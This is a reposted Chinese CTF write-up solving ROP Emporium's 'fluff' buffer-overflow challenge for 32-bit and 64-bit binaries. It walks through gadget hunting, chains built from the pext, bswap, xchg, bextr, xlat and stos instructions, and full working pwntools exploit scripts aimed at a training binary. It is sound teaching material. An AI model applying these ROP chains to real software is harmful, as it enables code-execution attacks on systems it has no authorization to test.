Writeup-ROP Emporium fluff

admin 2022年4月17日22:50:07CTF专场评论10 views15602字阅读52分0秒阅读模式

Writeup-ROP Emporium fluff

本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:starrQWQ


ROP Emporium的题曾经在2020年7月有过更新。比如,大多题目去掉了system函数,不能再获取shell,而是通过so中的print_file来获取flag;一些题目rop链可利用的指令也变了,更有挑战性,比如fluff 这道题。
 
当然有很多没变的,比如溢出点,32位程序偏移44字节,64位程序偏移40字节。



fluff32


信息收集

$ file fluff32fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6da69ceae0128f63bb7160ba66f9189a126fdd86, not stripped$ ldd fluff32        linux-gate.so.1 (0xf7f11000)        libfluff32.so => ./libfluff32.so (0xf7f09000)        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d16000)        /lib/ld-linux.so.2 (0xf7f12000)$ checksec libfluff32.so[*] '/home/starr/Documents/CProject/pwn/libfluff32.so'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled$ readelf -S fluff32 | grep .data  [16] .rodata           PROGBITS        080485d8 0005d8 000014 00   A  0   0  4  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4


黑盒测试

$ ulimit -c unlimited$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'$ cyclic 200 > cyclic.txt$ ./fluff32 < cyclic.txtfluff by ROP Emporiumx86 You know changing these strings means I have to rewrite my solutions...> Thank you!Segmentation fault (core dumped) $ gdb ./fluff32 fluff32.core.9153...Core was generated by `./fluff32'.Program terminated with signal SIGSEGV, Segmentation fault.#0  0x6161616c in ?? ()pwndbg> cyclic -l 0x6161616c44

溢出点偏移44字节。


反汇编

$ objdump -d -M intel fluff32080483b0 <[email protected]>:080483d0 <[email protected]>:08048506 <main>: 8048506:       8d 4c 24 04             lea    ecx,[esp+0x4] 804850a:       83 e4 f0                and    esp,0xfffffff0 ... 8048514:       83 ec 04                sub    esp,0x4 8048517:       e8 94 fe ff ff          call   80483b0 <[email protected]> ...0804852a <usefulFunction>: 804852a:       55                      push   ebp 804852b:       89 e5                   mov    ebp,esp 804852d:       83 ec 08                sub    esp,0x8 8048530:       83 ec 0c                sub    esp,0xc 8048533:       68 e0 85 04 08          push   0x80485e0 8048538:       e8 93 fe ff ff          call   80483d0 <[email protected]> ...08048543 <questionableGadgets>: 8048543:       89 e8                   mov    eax,ebp 8048545:       bb ba ba ba b0          mov    ebx,0xb0bababa 804854a:       c4 e2 62 f5 d0          pext   edx,ebx,eax 804854f:       b8 ef be ad de          mov    eax,0xdeadbeef 8048554:       c3                      ret 8048555:       86 11                   xchg   BYTE PTR [ecx],dl 8048557:       c3                      ret 8048558:       59                      pop    ecx 8048559:       0f c9                   bswap  ecx 804855b:       c3                      ret$ objdump -d -M intel libfluff32.so0000069d <pwnme>: ... 6ed:   6a 20                   push   0x20 6ef:   6a 00                   push   0x0 6f1:   8d 45 d8                lea    eax,[ebp-0x28] 6f4:   50                      push   eax 6f5:   e8 86 fe ff ff          call   580 <[email protected]> ... 724:   68 00 02 00 00          push   0x200 729:   8d 45 d8                lea    eax,[ebp-0x28] 72c:   50                      push   eax 72d:   6a 00                   push   0x0 72f:   e8 cc fd ff ff          call   500 <[email protected]> ...0000074f <print_file>: ... 772:   ff 75 08                push   DWORD PTR [ebp+0x8] 775:   e8 f6 fd ff ff          call   570 <[email protected]> ...


ROP chain


乍一看这一题和write4那道题差不多,想着把”flag.txt“写进.data,但搜一下mov gadget的话,并没有以可控内存地址为目标的mov指令。
pwndbg> rop --grep "mov"...0x080484e7 : mov al, byte ptr [0xc9010804] ; ret0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret0x0804854f : mov eax, 0xdeadbeef ; ret0x08048423 : mov ebx, dword ptr [esp] ; ret0x0804837d : mov edi, 0x81000000 ; ret0x0804847a : mov esp, 0x27 ; add bl, dh ; ret

先搜下pop吧:
pwndbg> rop --grep "pop"...0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret0x080485bb : pop ebp ; ret0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x08048399 : pop ebx ; ret0x08048558 : pop ecx ; bswap ecx ; ret0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret0x080485ba : pop edi ; pop ebp ; ret0x080485b9 : pop esi ; pop edi ; pop ebp ; ret0x08048527 : popal ; cld ; ret

然后考虑怎么写字符串的问题。
 
其实除了mov还有很多指令可以利用,比如作者在questionableGadgets提供的xchg指令。
pwndbg> rop --grep "xchg"0x08048553 : faddp st(3) ; xchg byte ptr [ecx], dl ; ret0x08048552 : lodsd eax, dword ptr [esi] ; faddp st(3) ; xchg byte ptr [ecx], dl ; ret0x08048555 : xchg byte ptr [ecx], dl ; ret

0x08048555这条xchg指令交换了内存和寄存器的一个字节,可以代替mov指令。但要想成功利用,需要能够控制ecx和edx寄存器,让ecx存储.data段地址,edx存储字符串的字符。
 
刚刚搜索的pop gadget中,有一个pop ecx, 紧跟另一个指令BSWAP(Byte Swap),这个指令可以更改字节序,比如eax==0x11223344, 执行BSWAP eax后,eax就变成0x44332211。那么我们可以让pop ecx按照大端序存储.data的地址。其实这个指令也是作者在questionableGadgets提供的~
 
Intel文档(https://www.felixcloutier.com/x86/bswap)截图:
Writeup-ROP Emporium fluff
 
最后要考虑怎么控制edx。在questionableGadgets的开头,mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax可以修改edx。

不过我用上面的rop, 以及 ropgadget, 都没有搜到这一段。。。尴尬了


PEXT ( Parallel Bits Extract)这条指令根据掩码(第二个源操作数),将源寄存器中对应的bit放到目标寄存器中的低位,比如:
pext output(edx), source(ebx), mask(eax)output = pext(source, mask)ebx = 0xFFFFFFFFeax = b1111 0100->edx = 0x1F

Intel文档(https://www.felixcloutier.com/x86/pext截图:
Writeup-ROP Emporium fluff
 
刚刚搜索的pop gadget里,0x080485bb有pop ebp指令,然后需要写个脚本,求出正确的掩码(mov eax, ebp),满足以下条件:
"flag" == pext(0xb0bababa, mask)".txt" == pext(0xb0bababa, mask)

用位运算实现下面这段求解掩码的脚本:
def getMask(nValue, nOutput):    # nOutput = pext(nValue, nMask)    # eg.    #   nValue = 0xFF    #   nMask = 0xF4    #   ->    #   nOutput = 0x1F     nMask = 0;    nLastBitFoundInValue = 1;     # find the highest valid bit    nInvalidBits = 0;    for i in range(7):  # ascii        if (nOutput & (1 << i)) != 0:            nInvalidBits = i     for i in range(nInvalidBits + 1):         while (nOutput & 1) != (nValue & 1):            nLastBitFoundInValue += 1;            if nLastBitFoundInValue == 33:  # 4 Bytes                return False;            nValue = nValue >> 1         # found        nOutput = nOutput >> 1        nValue = nValue >> 1        nMask |= 1 << (nLastBitFoundInValue - 1)        nLastBitFoundInValue += 1     return nMask  strEdx = "flag.txt"nValue = 0xb0bababa for c in strEdx:    nMask = getMask(nValue, ord(c))    # print(hex(nMask))

最终的ROP链:
padding  len 44 for i in range(len("flag.txt"))    pGadgetPopEcx_bswap        # 0x08048558 : pop ecx ; bswap ecx ; ret    pDataSection + i    # Big Endian    pop to ecx    pGadgetPopEbp        # 0x080485bb : pop ebp ; ret    nMask                # getMask("flag.txt"[i])    pop to ebp    pGadgetPext            # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax    pGadgetXchg            # 0x08048555 : xchg byte ptr [ecx], dl ; ret   把字符写入.data pPltPrintFile            # 0x080483d0padding                    # 伪造的返回地址pDataSection


Exp

from pwn import * context.arch = "i386"context.bits = 32context.os = "linux"context.log_level = 'debug' def getio(program):    io = process(program)    # io = gdb.debug([program], "b main")    return io; def getMask(nValue, nOutput):    # nOutput = pext(nValue, nMask)    # eg.    #   nValue = 0xFF    #   nMask = 0xF4    #   ->    #   nOutput = 0x1F     nMask = 0;    nLastBitFoundInValue = 1;     # find the highest valid bit    nInvalidBits = 0;    for i in range(7):  # ascii        if (nOutput & (1 << i)) != 0:            nInvalidBits = i     for i in range(nInvalidBits + 1):         while (nOutput & 1) != (nValue & 1):            nLastBitFoundInValue += 1;            if nLastBitFoundInValue == 33:  # 4 Bytes                return False;            nValue = nValue >> 1         # found        nOutput = nOutput >> 1        nValue = nValue >> 1        nMask |= 1 << (nLastBitFoundInValue - 1)        nLastBitFoundInValue += 1     return nMask  nBufOverflowIndex = 44pPltPrintFile = 0x080483d0pDataSection = 0x0804a018pGadgetPopEcx_bswap = 0x08048558    # pop ecx ; bswap ecx ; retpGadgetPopEbp = 0x080485bb          # pop ebp ; retpGadgetPext = 0x08048543            # mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eaxpGadgetXchg = 0x08048555            # xchg byte ptr [ecx], dl ; ret   把字符写入.data  # 1. paddingpayload = bytes("A" * nBufOverflowIndex, encoding = "ascii");  # 2. LoopstrEdx = "flag.txt"nValue = 0xb0bababafor i in range(len(strEdx)):    nMask = getMask(nValue, ord(strEdx[i]))    # print(hex(nMask))     # 2.1 write .data addr into ecx    payload += p32(pGadgetPopEcx_bswap)        # 0x08048558 : pop ecx ; bswap ecx ; ret    payload += p32(pDataSection + i, endianness="big")        # Big Endian    pop to ecx     # 2.2 write nMask into ebp    payload += p32(pGadgetPopEbp)        # 0x080485bb : pop ebp ; ret    payload += p32(nMask)                # getMask("flag.txt"[i])    pop to ebp    payload += p32(pGadgetPext)            # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax     # 2.3 write "flag.txt" into .data    payload += p32(pGadgetXchg)            # 0x08048555 : xchg byte ptr [ecx], dl ; ret   把字符写入.data # 3. print_file("flag.txt")payload += p32(pPltPrintFile)            # 0x080483d0payload += bytes("B" * int(context.bits/8), encoding = "ascii");                # 伪造的返回地址payload += p32(pDataSection)  io = getio("./fluff32") io.recvuntil(">") # # gdb.attach(io)# # pause()io.sendline(payload)print(io.recv(timeout=10))io.interactive() # [DEBUG] Received 0x2c bytes:#     b'Thank you!n'#     b'ROPE{a_placeholder_32byte_flag!}n'# Thank you!# ROPE{a_placeholder_32byte_flag!}




fluff


64位版本


信息收集


记录一下.data段的地址:
$ readelf -S fluff | grep .data  [15] .rodata           PROGBITS         00000000004006c0  000006c0  [23] .data             PROGBITS         0000000000601028  00001028


反汇编

$ objdump -d -M intel libfluff.so00000000000008aa <pwnme>: ... 8eb:   48 8d 45 e0             lea    rax,[rbp-0x20] 8ef:   ba 20 00 00 00          mov    edx,0x20 8f4:   be 00 00 00 00          mov    esi,0x0 8f9:   48 89 c7                mov    rdi,rax 8fc:   e8 5f fe ff ff          call   760 <[email protected]> ... 91e:   48 8d 45 e0             lea    rax,[rbp-0x20] 922:   ba 00 02 00 00          mov    edx,0x200 927:   48 89 c6                mov    rsi,rax 92a:   bf 00 00 00 00          mov    edi,0x0 92f:   e8 3c fe ff ff          call   770 <[email protected]>  read(stdin, rbp-0x20, 0x200) ...0000000000000943 <print_file>: 943:   55                      push   rbp 944:   48 89 e5                mov    rbp,rsp 947:   48 83 ec 40             sub    rsp,0x40 94b:   48 89 7d c8             mov    QWORD PTR [rbp-0x38],rdi 94f:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0 956:   00 957:   48 8b 45 c8             mov    rax,QWORD PTR [rbp-0x38] 95b:   48 8d 35 f4 00 00 00    lea    rsi,[rip+0xf4]        # a56 <_fini+0x86> 962:   48 89 c7                mov    rdi,rax 965:   e8 36 fe ff ff          call   7a0 <[email protected]> ...$ objdump -d -M intel fluff0000000000400500 <[email protected]>:...0000000000400510 <[email protected]>:...0000000000400607 <main>:  ...  40060b:       e8 f0 fe ff ff          call   400500 <[email protected]>0000000000400617 <usefulFunction>:  ...  40061b:       bf c4 06 40 00          mov    edi,0x4006c4  400620:       e8 eb fe ff ff          call   400510 <[email protected]>0000000000400628 <questionableGadgets>:  400628:       d7                      xlat   BYTE PTR ds:[rbx]  400629:       c3                      ret  40062a:       5a                      pop    rdx  40062b:       59                      pop    rcx  40062c:       48 81 c1 f2 3e 00 00    add    rcx,0x3ef2  400633:       c4 e2 e8 f7 d9          bextr  rbx,rcx,rdx  400638:       c3                      ret  400639:       aa                      stos   BYTE PTR es:[rdi],al  40063a:       c3                      ret  40063b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]


ROP chain


直接参考questionableGadgets吧,手动搜的话脑洞实在没有那么大~
 
首先注意到0x400639处的stos指令,它会逐字节地把al拷进rdi指向的内存,而且rdi自动递增。
 
通过搜索pop很容易找到pop rdi的指令,但是没有pop rax指令:
pwndbg> rop --grep "pop"...0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006a0 : pop r14 ; pop r15 ; ret0x00000000004006a2 : pop r15 ; ret0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400588 : pop rbp ; ret0x00000000004006a3 : pop rdi ; ret0x00000000004006a1 : pop rsi ; pop r15 ; ret0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

作者在questionableGadgets开头准备了xlat(Table Look-up Translation)指令来控制al:
 
Intel文档(https://bbs.pediy.com/thread-272054.htm):
 
Writeup-ROP Emporium fluff
 
其实就是把rbx看成数组取值:
al = byte ptr [rbx+al]

但又要控制al,好像死循环了,,,先忽略al,看看有没有办法操作rbx。
 
刚刚的rop工具又没有把usefulGadget提供的40062a处的pop rdx指令找出来,郁闷,,,这里有非常重要的BEXTR(Bit Filed Extract)指令,它可以改变rbx的值:
0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;

Intel官方文档(https://www.felixcloutier.com/x86/bextr):
 
Writeup-ROP Emporium fluff
 
该指令和pext指令一样也有两个源操作数,可以从第一个源操作数中提取bits,第二个源操作数指定偏移和长度,举个例子:
bextr output, 0xd23aacda, 0x59Input : 11010010001110101010110011011010 = 0xd23aacda                          |-------|                                                                                               v                               |-------|Output: 00000000000000000000000101100110 = 0x00000166

我们需要利用bextr这个gadget使rbx存储”flag.txt“各个字节的地址,进而用xlat gadget使al存储各个字节。

flag.txt各个字符,可以在elf文件中找,而不是由栈中的payload提供。


梳理一下目前的rop链:
0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;   满足[rbx+al]这个地址存有目标字符,可以实现一个SetRbxToAddr函数rdxrcx 0x400628:  xlat   BYTE PTR ds:[rbx]; ret        al保存目标字节,比如"f", 可以实现一个SetAlToByte函数 0x00000000004006a3 : pop rdi ; ret0x0000000000601028    .data地址 400639:  stos   BYTE PTR es:[rdi],al.data逐字节写入字符串"flag.txt"  rdi可以自动递增


调试分析


再回到al的问题,其实执行xlat时,只有al的初始值是不确定的,于是用脚本调试确认一下,同时试着搜索f:
# coding:utf-8from pwn import * context.arch = "amd64"context.bits = 64context.os = "linux" def getio(program):    io = process(program)    # io = gdb.debug([program], "b main")    return io;  nBufOverflowIndex = 0x28pPltPrintFile = 0x0000000000400510pGadgetBextrToSetRbx = 0x40062a    pGadgetXlatToSetAl = 0x400628pGadgetPopRdi = 0x00000000004006a3 pGadgetStos = 0x400639pDataSection = 0x0000000000601028g_byAlWhenFirstXlat = 0x00           # 和xlat指令有关,这里需要调试一下,看当时的al值为多少 def setRbxToAddr(pTargetAddr, rop):    rdx = ((2**6)<<8) | 0x00    # rcx: start 0, len 64    rcx = pTargetAddr    rop.raw(pGadgetBextrToSetRbx)    rop.raw(rdx)    rop.raw(rcx - 0x3ef2)      # add rcx, 0x3ef2; def setAlToByte(byTarget, rop, elf, byRealTimeAl):     pTargetByteAddr = next(elf.search(byTarget))    pTargetRbx = pTargetByteAddr - byRealTimeAl    setRbxToAddr(pTargetRbx, rop)     rop.raw(pGadgetXlatToSetAl)     # xlat   BYTE PTR ds:[rbx]; --> al = [rbx+al] program = "./fluff"io = getio(program)elf = ELF(program)rop = ROP(program)  padding = b"A" * nBufOverflowIndex rop.raw(pGadgetPopRdi)rop.raw(pDataSection) strFlagTxt = "flag.txt"byRealTimeAl = g_byAlWhenFirstXlatc = strFlagTxt[0]setAlToByte(c, rop, elf, byRealTimeAl) payload = b"".join([    padding,    rop.chain()]) io.recvuntil(">") gdb.attach(io)pause()io.sendline(payload)print(io.recv(timeout=10))io.interactive()

执行到xlatb时,AL初始值是0xb,而后续的al,其实就是”flag.txt“的各个字符,搜索前实时更新一下即可。
RAX  0xb    !!!!!!!!!!!!!!!!!!!!!! RBX  0x0 RCX  0x0 RDX  0x0 RDI  0x1 RSI  0x7f4c211f17e3 (_IO_2_1_stdout_+131) ◂— 0x1f28c0000000000a /* 'n' */ R8   0xa R9   0x7f4c21605740 ◂— 0x7f4c21605740 R10  0x4 R11  0x246 R12  0x400520 (_start) ◂— xor    ebp, ebp R13  0x7ffde43196a0 ◂— 0x1 R14  0x0 R15  0x0 RBP  0x4141414141414141 ('AAAAAAAA')*RSP  0x7ffde43195d8 —▸ 0x7ffde431960a ◂— 0x7ffde431*RIP  0x400628 (questionableGadgets) ◂— xlatb ─────────[ DISASM ]───────────────   0x40062a <questionableGadgets+2>     pop    rdx   0x40062b <questionableGadgets+3>     pop    rcx   0x40062c <questionableGadgets+4>     add    rcx, 0x3ef2   0x400633 <questionableGadgets+11>    bextr  rbx, rcx, rdx   0x400638 <questionableGadgets+16>    ret         0x400628 <questionableGadgets>       xlatb    0x400629 <questionableGadgets+1>     ret

执行xlatb指令后,gdb里验证一下, rax==‘f' , 即0x66,所以搜索逻辑也没问题:
*RAX  0x66    !!!!!!!!!!!!!!!!!!!!!! RBX  0x4003b9 ◂— add    byte ptr [rax], al RCX  0x4003b9 ◂— add    byte ptr [rax], al RDX  0x4000 ...─────────────────────────────[ DISASM ]─────────────────────   0x40062b       <questionableGadgets+3>     pop    rcx   0x40062c       <questionableGadgets+4>     add    rcx, 0x3ef2   0x400633       <questionableGadgets+11>    bextr  rbx, rcx, rdx   0x400638       <questionableGadgets+16>    ret          0x400628       <questionableGadgets>       xlatb   0x400629       <questionableGadgets+1>     ret    <0x7ffc3bdc900a>

再次梳理一下rop链:
padding   溢出点0x28字节 pGadgetPopRdi    0x00000000004006a3   pop rdi ; ret    rdi后面用不到,在循环之前就存好.data section地址pDataSection for c in "flag.txt":    pGadgetBextrToSetRbx     0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;                              满足[rbx+al]==c,可以实现一个SetRbxToAddr函数    rdx     bextr命令的掩码    rcx        c的地址-0x3ef2     pGadgetXlatToSetAl  0x400628:  xlat   BYTE PTR ds:[rbx]; ret                         al保存目标字节c。可以实现一个SetAlToByte函数。注意payload里的al要实时更新     pGadgetStos        400639:  stos   BYTE PTR es:[rdi],al  往.data逐字节写入字符串"flag.txt"  rdi可以自动递增 pGadgetPopRdipDataSectionpPltPrintFile        0x0000000000400510        print_file("flag.txt")


Exp

# coding:utf-8from pwn import * context.arch = "amd64"context.bits = 64context.os = "linux" def getio(program):    io = process(program)    # io = gdb.debug([program], "b main")    return io;  nBufOverflowIndex = 0x28pPltPrintFile = 0x0000000000400510pGadgetBextrToSetRbx = 0x40062a     # pop rdx;                                    # pop rcx;                                    # add rcx, 0x3ef2;                                    # bextr rbx, rcx, rdx;                                    # ret;                                      # 满足[rbx+al]这个地址存有目标字符,可以用SetRbxToAddr函数实现pGadgetXlatToSetAl = 0x400628       # xlat   BYTE PTR ds:[rbx]; --> al = [rbx+al]                                    # al保存目标字节,比如"f", 可以用SetAlToByte函数实现pGadgetPopRdi = 0x00000000004006a3  # pop rdi ; retpGadgetStos = 0x400639              # stos   BYTE PTR es:[rdi],al  往.data逐字节写入字符串"flag.txt"pDataSection = 0x0000000000601028   # .data地址g_byRealTimeAlWhenFirstXlat = 0xb   # 和xlat指令有关这里需要调试一下,看当时的al值为多少 def setRbxToAddr(pTargetAddr, rop):    rdx = ((2**6)<<8) | 0x00    # rcx: start 0, len 64    rcx = pTargetAddr    rop.raw(pGadgetBextrToSetRbx)    rop.raw(rdx)    rop.raw(rcx - 0x3ef2)      # add rcx, 0x3ef2; def setAlToByte(byTarget, rop, elf, byRealTimeAl):     # 2.1 set rbx to addr    pTargetByteAddr = next(elf.search(byTarget))    pTargetRbx = pTargetByteAddr - byRealTimeAl    setRbxToAddr(pTargetRbx, rop)     # 2.2 set al to the byte of "flag.txt"    rop.raw(pGadgetXlatToSetAl)     # xlat   BYTE PTR ds:[rbx]; --> al = [rbx+al] program = "./fluff"io = getio(program)elf = ELF(program)rop = ROP(program)  # 1. buf overflow padding = b"A" * nBufOverflowIndex # 2. write "flag.txt" into .data section # 2.1 rdi not used laterrop.raw(pGadgetPopRdi)rop.raw(pDataSection) strFlagTxt = "flag.txt"byRealTimeAl = g_byRealTimeAlWhenFirstXlat  # al的初始值for c in strFlagTxt:    setAlToByte(c, rop, elf, byRealTimeAl)    byRealTimeAl = ord(c)    # 更新al    rop.raw(pGadgetStos)   # 4. print_file("flag.txt")rop.raw(pGadgetPopRdi)rop.raw(pDataSection)rop.raw(pPltPrintFile)  payload = b"".join([    padding,    rop.chain()])   io.recvuntil(">") # gdb.attach(io)# pause() io.sendline(payload)print(io.recv(timeout=10))io.interactive() # Thank you!# ROPE{a_placeholder_32byte_flag!}



参考资料


ROP Emporium 2020 fluff 32bit :: mishap — infosec is just finding mishaps
https://mishap.dev/posts/rop-emporium/

PEXT — Parallel Bits Extract (felixcloutier.com)
https://www.felixcloutier.com/x86/pext
 
XLAT指令_百度百科 (baidu.com)
https://baike.baidu.com/item/XLAT%E6%8C%87%E4%BB%A4/4144842

assembly - How does the BEXTR instruction in x86 work - Stack Overflow
https://stackoverflow.com/questions/70208751/how-does-the-bextr-instruction-in-x86-work

ROP Emporium - Fluff (x64) - blog.r0kithax.com
https://blog.r0kithax.com/ctf/infosec/2020/10/12/rop-emporium-fluff-x64.html

BEXTR — Bit Field Extract (felixcloutier.com)
https://www.felixcloutier.com/x86/bextr

XLAT/XLATB — Table Look-up Translation (felixcloutier.com)
https://bbs.pediy.com/thread-272054.htm



Writeup-ROP Emporium fluff


看雪ID:starrQWQ

https://bbs.pediy.com/user-home-845133.htm

*本文由看雪论坛 starrQWQ 原创,转载请注明来自看雪社区


Writeup-ROP Emporium fluff


# 往期推荐

1.APT28样本超详细分析

2.CVE-2016-0095提权漏洞学习笔记

3.java序列化与反序列化

4.CVE-2022-21999 Windows Print Spooler 权限提升漏洞分析

5.针对自动驾驶中交通灯识别的对抗性激光攻击

6.The House of Mind (FASTBIN METHOD) + PRIME



Writeup-ROP Emporium fluff



Writeup-ROP Emporium fluff

球分享

Writeup-ROP Emporium fluff

球点赞

Writeup-ROP Emporium fluff

球在看



Writeup-ROP Emporium fluff

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):Writeup-ROP Emporium fluff

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月17日22:50:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Writeup-ROP Emporium fluff http://cn-sec.com/archives/920363.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: